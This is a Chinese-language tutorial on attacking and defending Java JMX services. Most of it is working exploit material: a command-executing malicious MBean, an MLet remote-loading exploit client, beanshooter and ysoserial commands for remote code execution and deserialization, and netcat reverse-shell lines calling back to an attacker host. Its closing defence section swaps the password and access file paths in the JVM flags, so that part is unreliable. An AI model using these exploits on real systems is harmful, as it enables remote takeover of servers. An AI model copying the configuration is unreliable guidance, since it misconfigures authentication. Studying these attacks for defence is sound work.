JAVA安全之JMX攻防研究分析
字数 1564 2025-08-22 12:23:00
JMX安全攻防研究分析
一、JMX基本介绍
JMX(Java Management Extensions, Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架,具有以下特点:
- 跨越异构操作系统平台、系统体系结构和网络传输协议
- 灵活开发无缝集成的系统、网络和服务管理应用
- 可理解为服务器,允许客户端远程访问运行在服务器上的Java程序的API
- 运维常用工具(Zabbix、Cacti、Nagios)通过JMX监控Tomcat、Weblogic等服务器
二、JMX架构分析
JMX架构分为三层:
1. 基础层:MBean(被管理的资源)
MBean类型:
- Standard MBean:最简单的类型,管理资源必须定义在接口中,命名规范为
<MBean名称>MBean - Dynamic MBean:必须实现
javax.management.DynamicMBean接口,属性方法在运行时定义 - Open MBean:规范尚不完善
- Model MBean:使用
javax.management.modelmbean.RequiredModelMBean,管理资源在外部类中
2. 适配层:MBeanServer
提供对资源的注册和管理功能
3. 接入层:Connector
提供远程访问的入口
三、JMX简易示例
1. 本地MBean实现
文件结构:
HelloWorld.java
HelloWorldMBean.java
jmxDemo.java
代码实现:
HelloWorldMBean.java:
package com.jmx;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java:
package com.jmx;
public class HelloWorld implements HelloWorldMBean {
private String name = "Al1ex";
@Override public void sayhello() {
System.out.println("hello world " + this.name);
}
@Override public int add(int x, int y) {
return x + y;
}
@Override public String getName() {
return this.name;
}
}
jmxDemo.java:
package com.jmx;
import java.lang.management.ManagementFactory;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
public class jmxDemo {
public static void main(String[] args) throws Exception {
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsname = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mbs.registerMBean(mbean, mbsname);
Registry registry = LocateRegistry.createRegistry(1099);
JMXServiceURL jmxServiceURL = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory
.newJMXConnectorServer(jmxServiceURL, null, mbs);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready...");
System.out.println("press any key to exit.");
System.in.read();
}
}
2. 远程MBean实现
攻击原理:
JMX提供MLet对象,其getMBeansFromURL方法可加载远程MBean,导致远程代码执行漏洞
攻击步骤:
- 编写恶意MBean接口
EvilMBean.java:
public interface EvilMBean {
public String runCommand(String cmd);
}
- 实现恶意MBean
Evil.java:
import java.io.*;
public class Evil implements EvilMBean {
@Override public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(
new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
}
proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}
- 编译并打包为JAR:
javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class
- 创建mlet文件:
<HTML><mlet code="Evil" archive="JMXPayload.jar"
name="MLetCompromise1:name=Evil,id=10"
codebase="http://127.0.0.1:4141"></mlet></HTML>
- 启动Web服务器托管文件:
python2 -m SimpleHTTPServer 4141
- 启动JMXServer:
import javax.management.MBeanServer;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.registry.LocateRegistry;
public class JMXServer {
public static void main(String[] args) throws Exception {
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
try {
LocateRegistry.createRegistry(9999);
JMXServiceURL url = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
JMXConnectorServer cs = JMXConnectorServerFactory
.newJMXConnectorServer(url, null, mbs);
System.out.println(".begin rmi start.....");
cs.start();
System.out.println(".rmi start.....");
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 构建ExploitJMXByRemoteMBean攻击:
package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
connectAndOwn("localhost", "9999", "hostname");
} catch (Exception e) { e.printStackTrace(); }
}
static void connectAndOwn(String serverName, String port, String command)
throws MalformedURLException {
try {
// 1. 通过RMI创建JMX连接
JMXServiceURL u = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://" + serverName +
":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// 2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// 3. 通过MLet加载远程恶意MBean
System.out.println("Loaded " + evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
new Object[]{String.format("http://%s:4141/mlet",
InetAddress.getLocalHost().getHostAddress())},
new String[]{String.class.getName()});
HashSet res_set = ((HashSet) res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception) nextObject);
}
evil_bean = ((ObjectInstance) nextObject);
// 4. 执行恶意MBean
System.out.println("Loaded class: " + evil_bean.getClassName() +
" object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand",
new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
} catch (Exception e) { e.printStackTrace(); }
}
}
四、JMX攻击利用方式
1. 自定义类攻击
使用工具(如beanshooter)向JMX服务端注册恶意MBean:
- 编译并打包恶意MBean为JAR
- 启动HTTP服务托管JAR文件
- 使用beanshooter部署JAR:
java -jar beanshooter.jar deploy 10.1.200.1 9999 Evil com.al1ex:type=Example --jar-file JMXPayload.jar --stager-url http://10.1.200.1:4141
2. 命令执行
- 使用mlet加载tonka MBeans:
java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
- 借助tonka执行命令:
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id
- 清理恶意MBean:
java -jar beanshooter.jar undeploy 172.17.0.2 9010 MLetTonkaBean:name=TonkaBean,id=1
3. 反弹Shell
使用standard模块操作:
java -jar beanshooter.jar standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
4. 认证模式攻击
- 开启监听:
nc -lnvp 1234
- 发起反序列化请求:
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin
5. 预认证攻击
JMX服务易受预认证反序列化攻击(RMI-JRMP实现):
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
6. 认证绕过攻击
利用原理:调用接受String参数的MBean方法,将String参数替换为gadget
使用ysoserial:
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 9999 CommonsBeanutils1 calc.exe
代码实现:
package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.*;
import ysoserial.payloads.ObjectPayload.Utils;
public class jmxInvoke {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://192.168.174.153:9999/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
Object payloadobject = Utils.makePayloadObject("Jdk7u21", "calc.exe");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel",
new Object[]{payloadobject},
new String[]{String.class.getCanonicalName()});
}
}
五、防御措施
-
业务安全考虑:
- 如不需要JMX服务,直接关闭
- 如需开启,必须启用认证并妥善保管认证信息
-
认证配置:
- 创建
jmxremote.access文件定义用户权限:monitorRole readonly controlRole readwrite - 创建
jmxremote.password文件定义用户密码:monitorRole password123 controlRole password456 - 配置JMX Agent使用上述文件:
-Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.password.file=jmxremote.access -Dcom.sun.management.jmxremote.access.file=jmxremote.password
- 创建
六、JMX安全问题总结
-
JMX未授权访问:
- 未做身份认证导致服务对外暴露
- 攻击者可通过Jconsole远程连接并调用方法
-
JMX Mlet远程加载导致命令执行:
- 通过Mlet远程加载恶意MBean
- 通过Jconsole或客户端调用执行命令
-
JMX RMI攻击导致命令执行:
- JMX基于RMI构建
- 使用Ysoserial攻击RMI Server获取权限
-
JMX授权绕过导致命令执行:
- 数据传输时的序列化/反序列化机制漏洞
- 构造恶意序列化数据在服务端执行